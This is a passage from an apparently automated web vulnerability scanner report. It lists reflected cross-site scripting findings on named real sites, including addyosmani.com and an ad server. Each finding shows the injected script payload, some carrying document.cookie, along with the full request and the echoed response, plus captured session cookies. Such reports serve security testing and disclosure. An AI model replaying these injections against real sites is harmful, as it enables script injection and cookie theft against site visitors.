3q01411000xwflebnns1wj3q01411000e4vlebnns1wj3q01411000xwblebnns1wj3q0141100; sglst=20f0s0tllegh2b1wbew01g1403070f20o5b0lf17qo000000171403070f20oag2leqh191mbfy01e1403070f20o82hlebnns1ucve00z100006002005q8lebnns1ucve00k10000600200b0clfjpei0pe9y0131403070f20o7gdlgcqt5001o200314030703203b1alfjpei0pe9y0131403070f20ob08lfjpei0pe9y0131403070f20o45mlfdxmc000000141403070f20o5l4lgcqt5001o200314030703203aanlebnns1xg0o00o12000700200b0olfjpei0pe9y00v12000700200ab4lebnns1xg0o01h1403070f20o9szlebnns1xg0o01912000700200

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh="1lf17qo16033e7s0103901WEF/RAmuh01bkz326030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000"; Version=1; Domain=media6degrees.com; Max-Age=15552000; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv2151z01i1404070g20p; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: rdrlst=41d0o2ylebnns1wj3q01411000xo1lebnns1wj3q01411000x1blebnns1wj3q01411000w3clebnns1wj3q01411000jv6lebnns1wj3q01411000j4ilew2e20000001c14040fullf8gij00000016140410f6lg1nei0000000o140400c9lfk1rn0000001314041196lfzx0l0000000p14040jillebnns1wj3q01411001195lg7rdq0000000g14041194lg3y5y0000000m14040y7blg94wv0000000714040cajlfk1rn0000001314040p7vlebnns1xgc001b12001192lg5l2h0000000l140410tylg60ji0000000h140410ellg1nei07gla00h12000xuklebnns0000001i14040yh0lebnns1wj3q014110010telg60j60000000j140410e9lg1nei0000000o14040jwblfk1rn0o4zv00p110007dpletz4d0000001e14040mmnlebnns1wj3q014110010e5lg1nei0000000o140410rdlg1vir087mk00n14040mzklgcsh70000000214020eh5lf17qf0000001a140406bylemlne0000001g14040df5lgcqt50000000414040mzqlgcsgy00000003140307gmlebnns1wj3q01411000xthlebnns1xgc001b12000im3lgcqt50000000414040fuqlegh2b0000001h14040b6mlf17qk0000001914040mz1lebnns1wj3q01411000y63lg93og00000009140407vglfk1rn0000001314040xvslebnns1wj3q01411000x1jlebnns1wj3q01411000jk7lebnns1wj3q01411000cbnlfk1rn0000001314040yiplebnns1wj3q01411000xwflebnns1wj3q01411000e4vlebnns1wj3q01411000xwblebnns1wj3q0141100; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Set-Cookie: sglst=20f0s0tllegh2b1wbng01h1404070g20p5b0lf17qo000000181404070g20pag2leqh191mboi01f1404070g20p82hlebnns1ucve00z100006002005q8lebnns1ucve00k10000600200b0clfjpei0pe9y0141404070g20p7gdlgcqt5001wm00414040704204b1alfjpei0pe9y0141404070g20pb08lfjpei0pe9y0141404070g20p45mlfdxmc000000151404070g20p5l4lgcqt5001wm00414040704204aanlebnns1xg0o00o12000700200ab4lebnns1xg0o01i1404070g20pb0olfjpei0pe9y00v120007002009szlebnns1xg0o01912000700200; Domain=media6degrees.com; Expires=Mon, 08-Aug-2011 14:10:39 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Feb 2011 14:10:39 GMT
Content-Length: 1604

<a href="http://ad.media6degrees.com/adserv/clk?tId=6210453202168737|cId=4814|cb=1297260612|notifyPort=8080|tpCId=153250|exId=9|tId=6210453202168737|foo=bar|tpSecId=233753|ec=1|vurlId=424|secId=56|pri
...[SNIP]...
fileId%255C%2522:289%257D/referrer=http%253A%252F%252Ftechnorati.com%252Fcontact-us%252F%253Fbd8fa%252522%25253E%25253Cscript%25253Ealert%25281%2529%25253C%252Fscript%25253E09ae0dbaead%253D1/clickenc=&f4b38"><script>alert(1)</script>ad4afdf7ec=1http://roia.biz/im/n/KSmZvq1BAAGL30MAAAsXQgAAqVNmMQA-A/" target="_blank">
...[SNIP]...

1.23. http://ad.technoratimedia.com/st [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.technoratimedia.com
Path:	/st

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7709"-alert(1)-"ffdd1267572 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /st?pfm=1&tblg=ch&tphv=ch&ttch=ch&titn=ch&rtg=ga&brw=cr3&os=wn7&prm=0&efo=0&atf=0&uatRandNo=50691&ad_type=ad&section=974763&ad_size=728x90&e7709"-alert(1)-"ffdd1267572=1 HTTP/1.1
Host: ad.technoratimedia.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:58:25 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Wed, 09 Feb 2011 13:58:25 GMT
Pragma: no-cache
Content-Length: 4420
Age: 0
Proxy-Connection: close

/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ad.technoratimedia.com/imp?Z=728x90&atf=0&brw=cr3&e7709"-alert(1)-"ffdd1267572=1&efo=0&os=wn7&pfm=1&prm=0&rtg=ga&s=974763&tblg=ch&titn=ch&tphv=ch&ttch=ch&uatRandNo=50691&_salt=4091159364";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_cre
...[SNIP]...

1.24. http://addyosmani.com/blog/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96792"><script>alert(1)</script>e6f5e4a121f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 96792\"><script>alert(1)</script>e6f5e4a121f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/?96792"><script>alert(1)</script>e6f5e4a121f=1 HTTP/1.1
Host: addyosmani.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:26:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Cookie
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Set-Cookie: PHPSESSID=30f944fb8c0472d1829671af23f2bad5; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 43511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/?96792\"><script>alert(1)</script>e6f5e4a121f=1"/>
...[SNIP]...

1.25. http://addyosmani.com/blog/essentialjsdesignpatterns/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/essentialjsdesignpatterns/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70566"><script>alert(1)</script>e9d89fba107 was submitted in the REST URL parameter 2. This input was echoed as 70566\"><script>alert(1)</script>e9d89fba107 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/essentialjsdesignpatterns70566"><script>alert(1)</script>e9d89fba107/ HTTP/1.1
Host: addyosmani.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:26:53 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=ec17ae947de819386fe37699933b582e; path=/
Last-Modified: Wed, 09 Feb 2011 13:26:54 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21097

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/essentialjsdesignpatterns70566\"><script>alert(1)</script>e9d89fba107/"/>
...[SNIP]...

1.26. http://addyosmani.com/blog/essentialjsdesignpatterns/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/essentialjsdesignpatterns/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e263"><script>alert(1)</script>5b3cd140196 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1e263\"><script>alert(1)</script>5b3cd140196 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/essentialjsdesignpatterns/?1e263"><script>alert(1)</script>5b3cd140196=1 HTTP/1.1
Host: addyosmani.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:26:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Cookie
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Link: <http://addyosmani.com/blog/?p=1685>; rel=shortlink
Set-Cookie: PHPSESSID=e6b348a66c2f9b345871a175b8423572; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 106966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/essentialjsdesignpatterns/?1e263\"><script>alert(1)</script>5b3cd140196=1"/>
...[SNIP]...

1.27. http://addyosmani.com/blog/video-jquerysub-explained/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/video-jquerysub-explained/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b83d0"><script>alert(1)</script>01527fc4429 was submitted in the REST URL parameter 2. This input was echoed as b83d0\"><script>alert(1)</script>01527fc4429 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/video-jquerysub-explainedb83d0"><script>alert(1)</script>01527fc4429/ HTTP/1.1
Host: addyosmani.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:26:53 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=e0ffb189850799aad2ff388ee6386d0b; path=/
Last-Modified: Wed, 09 Feb 2011 13:26:53 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21097

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/video-jquerysub-explainedb83d0\"><script>alert(1)</script>01527fc4429/"/>
...[SNIP]...

1.28. http://addyosmani.com/blog/video-jquerysub-explained/ [d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/video-jquerysub-explained/

Issue detail

The value of the d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bacd2"><script>alert(1)</script>7fca595e38e was submitted in the d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada parameter. This input was echoed as bacd2\"><script>alert(1)</script>7fca595e38e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1bacd2"><script>alert(1)</script>7fca595e38e HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103; __utmz=15855846.1297258315.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/13; __utma=15855846.1800733643.1297258315.1297258315.1297258315.1; __utmc=15855846; __utmb=15855846.1.10.1297258315; __qca=P0-724382038-1297258315164

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:31:48 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Link: <http://addyosmani.com/blog/?p=2456>; rel=shortlink
Content-Type: text/html; charset=UTF-8
Content-Length: 43420

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1bacd2\"><script>alert(1)</script>7fca595e38e"/>
...[SNIP]...

1.29. http://addyosmani.com/blog/video-jquerysub-explained/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/video-jquerysub-explained/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d182c"><script>alert(1)</script>8aad83cada was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d182c\"><script>alert(1)</script>8aad83cada in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/video-jquerysub-explained/?d182c"><script>alert(1)</script>8aad83cada=1 HTTP/1.1
Host: addyosmani.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:26:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Cookie
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Link: <http://addyosmani.com/blog/?p=2456>; rel=shortlink
Set-Cookie: PHPSESSID=3a0c84f3ca5b4d97aa560d444345daf6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 43474

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/video-jquerysub-explained/?d182c\"><script>alert(1)</script>8aad83cada=1"/>
...[SNIP]...

1.30. http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e97e5"><script>alert(1)</script>252c8af24fe was submitted in the REST URL parameter 2. This input was echoed as e97e5\"><script>alert(1)</script>252c8af24fe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-contente97e5"><script>alert(1)</script>252c8af24fe/plugins/wp-pagenavi/pagenavi-css.css?ver=2.50 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:09 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-contente97e5\"><script>alert(1)</script>252c8af24fe/plugins/wp-pagenavi/pagenavi-css.css?ver=2.50"/>
...[SNIP]...

1.31. http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9229d"><script>alert(1)</script>3897cff0b68 was submitted in the REST URL parameter 3. This input was echoed as 9229d\"><script>alert(1)</script>3897cff0b68 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins9229d"><script>alert(1)</script>3897cff0b68/wp-pagenavi/pagenavi-css.css?ver=2.50 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:12 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins9229d\"><script>alert(1)</script>3897cff0b68/wp-pagenavi/pagenavi-css.css?ver=2.50"/>
...[SNIP]...

1.32. http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83dc5"><script>alert(1)</script>a8c9d308cd2 was submitted in the REST URL parameter 4. This input was echoed as 83dc5\"><script>alert(1)</script>a8c9d308cd2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins/wp-pagenavi83dc5"><script>alert(1)</script>a8c9d308cd2/pagenavi-css.css?ver=2.50 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:15 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:15 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi83dc5\"><script>alert(1)</script>a8c9d308cd2/pagenavi-css.css?ver=2.50"/>
...[SNIP]...

1.33. http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e855"><script>alert(1)</script>e2d582ad4e4 was submitted in the REST URL parameter 5. This input was echoed as 8e855\"><script>alert(1)</script>e2d582ad4e4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css8e855"><script>alert(1)</script>e2d582ad4e4?ver=2.50 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:18 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins/wp-pagenavi/pagenavi-css.css8e855\"><script>alert(1)</script>e2d582ad4e4?ver=2.50"/>
...[SNIP]...

1.34. http://addyosmani.com/blog/wp-content/plugins/wp-postviews/wp-postviews.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-postviews/wp-postviews.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0d9a"><script>alert(1)</script>dbc41bfa2ac was submitted in the REST URL parameter 2. This input was echoed as e0d9a\"><script>alert(1)</script>dbc41bfa2ac in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-contente0d9a"><script>alert(1)</script>dbc41bfa2ac/plugins/wp-postviews/wp-postviews.php?_=1297258312289&postviews_id=2456 HTTP/1.1
